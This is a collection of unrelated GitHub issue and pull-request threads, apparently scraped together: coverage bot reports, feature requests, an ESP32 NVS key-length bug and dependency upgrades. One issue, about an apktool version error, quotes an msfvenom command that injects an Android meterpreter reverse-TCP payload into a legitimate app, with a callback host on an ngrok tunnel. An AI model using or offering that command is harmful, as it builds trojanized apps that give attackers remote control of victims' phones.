src/server.rs
73
120
60.83%

Files with Coverage Reduction
New Missed Lines
%

src/lib.rs
2
75.0%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
94
56.52%

Totals

Change from base Build<PHONE_NUMBER>:
-6.2%

Covered Lines:
1677

Relevant Lines:
2206

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

844 of 985 (85.69%)  changed or added relevant lines in 4 files are covered.
192 unchanged lines in 4 files lost coverage.
Overall coverage decreased (-6.1%) to 76.502%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/server.rs
82
122
67.21%

src/fragmentizer.rs
684
727
94.09%

src/receive.rs
55
100
55.0%

Files with Coverage Reduction
New Missed Lines
%

src/lib.rs
2
75.0%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
93
58.46%

Totals

Change from base Build<PHONE_NUMBER>:
-6.1%

Covered Lines:
1693

Relevant Lines:
2213

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

846 of 989 (85.54%)  changed or added relevant lines in 4 files are covered.
191 unchanged lines in 4 files lost coverage.
Overall coverage decreased (-6.1%) to 76.479%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/server.rs
84
126
66.67%

src/fragmentizer.rs
684
727
94.09%

src/receive.rs
55
100
55.0%

Files with Coverage Reduction
New Missed Lines
%

src/lib.rs
2
75.0%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
92
58.42%

Totals

Change from base Build<PHONE_NUMBER>:
-6.1%

Covered Lines:
1694

Relevant Lines:
2215

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

846 of 989 (85.54%)  changed or added relevant lines in 4 files are covered.
191 unchanged lines in 4 files lost coverage.
Overall coverage decreased (-6.1%) to 76.479%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/server.rs
84
126
66.67%

src/fragmentizer.rs
684
727
94.09%

src/receive.rs
55
100
55.0%

Files with Coverage Reduction
New Missed Lines
%

src/lib.rs
2
75.0%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
92
58.42%

Totals

Change from base Build<PHONE_NUMBER>:
-6.1%

Covered Lines:
1694

Relevant Lines:
2215

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

1127 of 1263 (89.23%)  changed or added relevant lines in 4 files are covered.
189 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-3.2%) to 79.413%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/fragmentizer.rs
965
1001
96.4%

src/server.rs
84
126
66.67%

src/receive.rs
55
100
55.0%

Files with Coverage Reduction
New Missed Lines
%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
92
58.42%

Totals

Change from base Build<PHONE_NUMBER>:
-3.2%

Covered Lines:
1975

Relevant Lines:
2487

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

1182 of 1331 (88.81%)  changed or added relevant lines in 4 files are covered.
189 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-3.1%) to 79.452%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/server.rs
84
126
66.67%

src/receive.rs
55
100
55.0%

src/fragmentizer.rs
1020
1069
95.42%

Files with Coverage Reduction
New Missed Lines
%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
92
58.42%

Totals

Change from base Build<PHONE_NUMBER>:
-3.1%

Covered Lines:
2030

Relevant Lines:
2555

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

1151 of 1355 (84.94%)  changed or added relevant lines in 4 files are covered.
189 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-5.1%) to 77.511%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/server.rs
84
126
66.67%

src/receive.rs
55
100
55.0%

src/fragmentizer.rs
989
1093
90.48%

Files with Coverage Reduction
New Missed Lines
%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
92
58.42%

Totals

Change from base Build<PHONE_NUMBER>:
-5.1%

Covered Lines:
1999

Relevant Lines:
2579

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

1151 of 1355 (84.94%)  changed or added relevant lines in 4 files are covered.
189 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-5.1%) to 77.511%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/server.rs
84
126
66.67%

src/receive.rs
55
100
55.0%

src/fragmentizer.rs
989
1093
90.48%

Files with Coverage Reduction
New Missed Lines
%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
92
58.42%

Totals

Change from base Build<PHONE_NUMBER>:
-5.1%

Covered Lines:
1999

Relevant Lines:
2579

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

1145 of 1359 (84.25%)  changed or added relevant lines in 4 files are covered.
189 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-5.4%) to 77.158%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/server.rs
84
126
66.67%

src/receive.rs
55
100
55.0%

src/fragmentizer.rs
983
1097
89.61%

Files with Coverage Reduction
New Missed Lines
%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
92
58.42%

Totals

Change from base Build<PHONE_NUMBER>:
-5.4%

Covered Lines:
1993

Relevant Lines:
2583

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

1145 of 1359 (84.25%)  changed or added relevant lines in 4 files are covered.
189 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-5.4%) to 77.158%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/server.rs
84
126
66.67%

src/receive.rs
55
100
55.0%

src/fragmentizer.rs
983
1097
89.61%

Files with Coverage Reduction
New Missed Lines
%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
92
58.42%

Totals

Change from base Build<PHONE_NUMBER>:
-5.4%

Covered Lines:
1993

Relevant Lines:
2583

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

1145 of 1359 (84.25%)  changed or added relevant lines in 4 files are covered.
189 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-5.4%) to 77.158%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/server.rs
84
126
66.67%

src/receive.rs
55
100
55.0%

src/fragmentizer.rs
983
1097
89.61%

Files with Coverage Reduction
New Missed Lines
%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
92
58.42%

Totals

Change from base Build<PHONE_NUMBER>:
-5.4%

Covered Lines:
1993

Relevant Lines:
2583

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

1141 of 1359 (83.96%)  changed or added relevant lines in 4 files are covered.
189 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-5.6%) to 77.003%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/server.rs
84
126
66.67%

src/receive.rs
55
100
55.0%

src/fragmentizer.rs
979
1097
89.24%

Files with Coverage Reduction
New Missed Lines
%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
92
58.42%

Totals

Change from base Build<PHONE_NUMBER>:
-5.6%

Covered Lines:
1989

Relevant Lines:
2583

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

1141 of 1359 (83.96%)  changed or added relevant lines in 4 files are covered.
189 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-5.6%) to 77.003%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/server.rs
84
126
66.67%

src/receive.rs
55
100
55.0%

src/fragmentizer.rs
979
1097
89.24%

Files with Coverage Reduction
New Missed Lines
%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
92
58.42%

Totals

Change from base Build<PHONE_NUMBER>:
-5.6%

Covered Lines:
1989

Relevant Lines:
2583

💛  - Coveralls


How can we improve the documentation site UX

What are some ways to improve the UX of the documentation site and, hopefully, get rid of the need to have a separate storybook site?

Here are some thoughts to spark conversations:
Streamline Navigation
Simply navigation. It should be optimized to allow components to have a large number of example code snippets (storybook stories) that are easily accessible by name in a menu.
Main Navigation
There are three use cases that should be visible at all times; going to the homepage, searching, and on-demand access of the main navigation. These should be icons as the menu should likely be vertical in nature; see the second bullet beneath the first bullet below for reasoning.

search expands a pane to enable text input as well as room to display the search results

effectively removing the dedicated page for search results, which seems clunky and dated
a vertical pane is chosen to optimize display a search result list which is ideally displayed vertically

hamburger menu would shows on-demand, top-level navigation items (not in correct order)

license
Guidelines section
VersionOne UI section

Guidelines Section
This section describes our user experience patterns, styling choices, and guidelines. This includes everything from defining color meaning and intentions to icon standardization in shape, form, and color. It essentially is our style guide and patterns that shape and "guide" our UX.
VersionOne UI Section
This contains information on how we have implemented our Guidelines (above). We should be capable of viewing prior versions of the documentation details for any given component.

how to get started with using library
listing of links to all the components in the library
Link to library's github repo
contributions guidelines
changelog

Component Information
Every component should include basic details about itself; name, version, description, and possibly links to all patterns from the guidelines that it explicitly implements. They should also be search-able.
Each component needs navigation room for many examples. Each example is named and should contain a link in some navigation form to provide easy and direct access to it from the component page. Examples include a short description, a code snippet and the output of the code snippet. Snippets should be live. In other words, they can be edited and their output is immediately preview-able in an output pane.


Rename src folders

Currently the folders are named after their corresponding Minecraft version. This is a bit inconvenient as multiple versions may have no changes in pack_format
Possible Solutions

Creating multiple folders with the same content (eg src/1.20.5/ and src/1.20.6/ have the same content as there are no changes for datapacks between these versions)
Name the folders after their pack_format which includes multiple Minecraft versions at once. This would require renaming the resulting .zip file to something more human readable. (eg 48.zip should be named 1.21-1.21.1.zip) which could be solved with a mapping file that contains pack_format=minecraft_version.

@Alexander-Reimer what do you think?

Why not just name the folder 1.21-1.21.1 in the first place? So you would have for example
src/
    1.21.1-1.21.1/
    1.18.1-1.20.4/
     ...

and when a new version comes out which doesn't require changing anything, you just updated the folder name appropiately.

sounds good :D thank you


Error: Malformed version number string 2.5.0-dirty 32 bit support is deprecated. Apktool will not support 32bit on v2.6.0.

While creating apk using apktool i'm getting an error
Code:-
sudo msfvenom -x google_tasks.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=5988 -o output.apk
Error:-
Error: Malformed version number string 2.5.0-dirty
32 bit support is deprecated. Apktool will not support 32bit on v2.6.0.

Not sure, it looks like:

version is old
msfvenom runs a dirty version, no idea what
32bit is deprecated

Not enough detials.


NVS Partition Generator Utility: ESP_ERR_NVS_NOT_FOUND

Environment

Development Kit: ESP32-Wrover-Kit
Module or chip used:  ESP32-WROVER
IDF version: master: v3.3-beta1-482-gf746b0d76
Build System: Make
Compiler version: xtensa-esp32-elf-gcc (crosstool-NG crosstool-ng-1.22.0-80-g6c4433a) 5.2.0
Operating System:     Linux

Problem Description
There seems to be a key length restriction when calling nvs_get_blob().
This line throws ESP_ERR_NVS_NOT_FOUND:
nvs_get_blob(my_handle, "certificate_pem_crt", NULL, &required_size);
But if I change the name of the key to "cert_pem_crt" and recreate the bin file with the shorter key name then this works:
nvs_get_blob(my_handle, "cert_pem_crt", NULL, &required_size)
Expected Behavior
Test Program should not print "Nothing saved yet!"
Actual Behavior
Program throws ESP_ERR_NVS_NOT_FOUND and aborts.
Steps to repropduce

Create file certs.csv with NVS partition keys

key,type,encoding,value
certs_namespace,namespace,,
certificate_pem_crt,file,binary,/home/andrew/esp/esp-idf/examples/protocols/aws_iot/certs/certificate_pem_crt
private_pem_key,file,binary,/home/andrew/esp/esp-idf/examples/protocols/aws_iot/certs/private_pem_key

Generate bin file with nvs_partition_gen.py
Flash bin file
Run app with make flash

Code to reproduce this issue
#define STORAGE_NAMESPACE "certs_namespace"
#define PARTITION_LABEL "certs"

void app_main()
{
	printf("Hello this is a test program!\n");

	// Initialize NVS.
	esp_err_t err = nvs_flash_init_partition(PARTITION_LABEL);
	if (err == ESP_ERR_NVS_NO_FREE_PAGES) {
		printf("Error: ESP_ERR_NVS_NO_FREE_PAGES\n");
		ESP_ERROR_CHECK(nvs_flash_erase());
		err = nvs_flash_init_partition(PARTITION_LABEL);
	}
	ESP_ERROR_CHECK( err );

	//Get a handle to the NVS partition
	nvs_handle my_handle;

	// Open
	err = nvs_open_from_partition(PARTITION_LABEL, STORAGE_NAMESPACE, NVS_READONLY, &my_handle);
	if (err != ESP_OK) return err;

	// Read the certificate
	size_t required_size = 0;  // value will default to 0, if not set yet in NVS
    	// obtain required memory space to store certificate being read from NVS
	err = nvs_get_blob(my_handle, "certificate_pem_crt", NULL, &required_size); //error here

	ESP_ERROR_CHECK(err);

	//Print the certificate
    	printf("AWS cetificate.pem.crt:\n");
    	if (required_size == 0) {
        	printf("Nothing saved yet!\n");
    	}
        ...
}

Debug Logs
Hello this is a test program!
ESP_ERROR_CHECK failed: esp_err_t 0x1102 (ESP_ERR_NVS_NOT_FOUND) at 0x40084e70
0x40084e70: _esp_error_check_failed at /home/andrew/esp/esp-idf/components/esp32/panic.c:720

file: "/home/andrew/esp/esp-idf/examples/get-started/test/main/test.c" line 40
func: app_main
expression: err

ELF file SHA256: 6fde17d233eed0b01dffeb8429d93680adc7d2c9ad746e6b840435d965cd6f7e
Backtrace: 0x40084a0c:0x3ffb4c70 0x40084e73:0x3ffb4c90 0x400d2347:0x3ffb4cb0 0x400d0bd6:0x3ffb4ce0 0x40086919:0x3ffb4d00
0x40084a0c: invoke_abort at /home/andrew/esp/esp-idf/components/esp32/panic.c:715
0x40084e73: _esp_error_check_failed at /home/andrew/esp/esp-idf/components/esp32/panic.c:721
0x400d2347: app_main at /home/andrew/esp/esp-idf/examples/get-started/test/main/test.c:40 (discriminator 1)
0x400d0bd6: main_task at /home/andrew/esp/esp-idf/components/esp32/cpu_start.c:526
0x40086919: vPortTaskWrapper at /home/andrew/esp/esp-idf/components/freertos/port.c:403

The limit is mentioned here: https://docs.espressif.com/projects/esp-idf/en/latest/api-reference/storage/nvs_flash.html#keys-and-values
Partition generator should check the limit, though.

Good to know, thank you. I was following the specification set out in the NVS Partition Generator Documentation.

Thanks @igrr  I had a similar issue, but it was because the key was longer than 15 chars.
The partition generator doesn't complain and nvs_get_u8() just returns ESP_ERR_NVS_NOT_FOUND.
It would be be much better if both of those the an error that indicated the key was too long.


Synchronous pair editing

A lot of good fiddles allow you to chat, work in a team, and have multiple people typing synchronously( I believe it is called pair programming). It would be nice to have a feature like this on DartPad.

not in scope for dartpad :(


Add Point 4D support

I saw that recently the 3D vector input (Point 3D, #102) support was added and was wondering if it could be possible to add "Point 4D" support too.
WebGL libraries usually have this class (https://threejs.org/docs/index.html#api/en/math/Vector4) and it is very handy and common when passing variables to shaders or to tweak unnormalized quaternion rotations.
It would be very nice to have it the same way as Point 3D (1 extra text input field).
Cheers!

Implemented in #195. Please wait for the next release.


Ability to override the internal asap implementation

This feature was missing from my previous PR and is needed for Angular2.
Context:
We need to know when there are pending microtasks. Before this PR, Promises would call asap() to schedule microtasks but we have no way to know that the function has been called.
In angular, the idea is to re-route asap() to zone.scheduleMicrotask(). zone.scheduleMicrotask() would then use the original asap implementation ES6Promise._asap to schedule microtasks.
reference (full stack test)

https://github.com/angular/zone.js/pull/103 is the PR on zone.js to use this feature,
https://github.com/angular/angular/pull/1981 is the PR on angular

@jakearchibald if you are ok with the changes, it would be great to release 2.3.0 (see the last commit). Sorry for having missed that in my first PR.

If set asap exists. Why do we need set scheduler?

asap wraps the queue logic and call one of the scheduler method.
With this change I use both:

Promise._setAsap is called to route all microtask to zone.scheduleMicrotask,
Promise._setScheduler is used to add a native Promise based scheduler method when available.

Do you think I should try to simplify the implementation ?

Do you think I should try to simplify the implementation ?

isn't setAsap a superset?

Yes but if we remove the ability to _setScheduler() then I need to copy the es6-promise implementation of asap in zone.js in order to customize this.
Below is the control flow (not sure if it helps...)
asap (of es6-promise, overriden via es6Promise._setAsap)
 |
 | calls
 |
 ----> zone.js scheduleMicrotasks() - zone.js has hooks here
             |
             | calls
             |
             ----> es6Promise._asap() - schedule microtasks
                           |
                           | calls
                           |
                           -----> the custom scheduler fn or any of the built-in mechanism

Yes but if we remove the ability to _setScheduler() then I need to copy the es6-promise implementation of asap in zone.js in order to customize this.

ah ok

@stefanpenner thanks !
@jakearchibald could you please release 2.3.0 ?


Brave bug Barney raised

Barney raised a bug in Brave
https://vegaprotocol.slack.com/archives/C052YCSFW6P/p1694068544600339

Will never look at .....


feat: create namespace auto check if exist

Signed-off-by: Meng JiaFeng<EMAIL_ADDRESS>Pre-Checklist
Note: please complete ALL items in the following checklist.

[x] I have read through the CONTRIBUTING.md documentation.
[x] My code has the necessary comments and documentation (if needed).
[ ] I have added relevant tests

Description

plugin installed by helm support default namespace, with name pluginname
update doc for override default value
namepsace support upsert

Related Issues
close #1014

I think we can remove the create_namespace param and create ns when the ns is not exists.

I agree with Daniel here; the param create_namespace seems redundant now.


Counter-Strike Source: distorted audio

src.webm

WARNING:EARRAPE
SDL_AUDIODRIVER=alsa fixes the issue
Game is also crashing from Alt+Tab


build!: upgrade arkworks to version 0.5.0

Rationale for this change
Arkworks release a new crate version - 0.5.0. This PR upgrades the crates to use the latest version.
What changes are included in this PR?

All arkworks related creates are upgraded to 0.5.0

Are these changes tested?
Yes, locally using cargo test and in CI. Benchmarks have not been run on the update.

:tada: This PR is included in version 3.5.1 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket: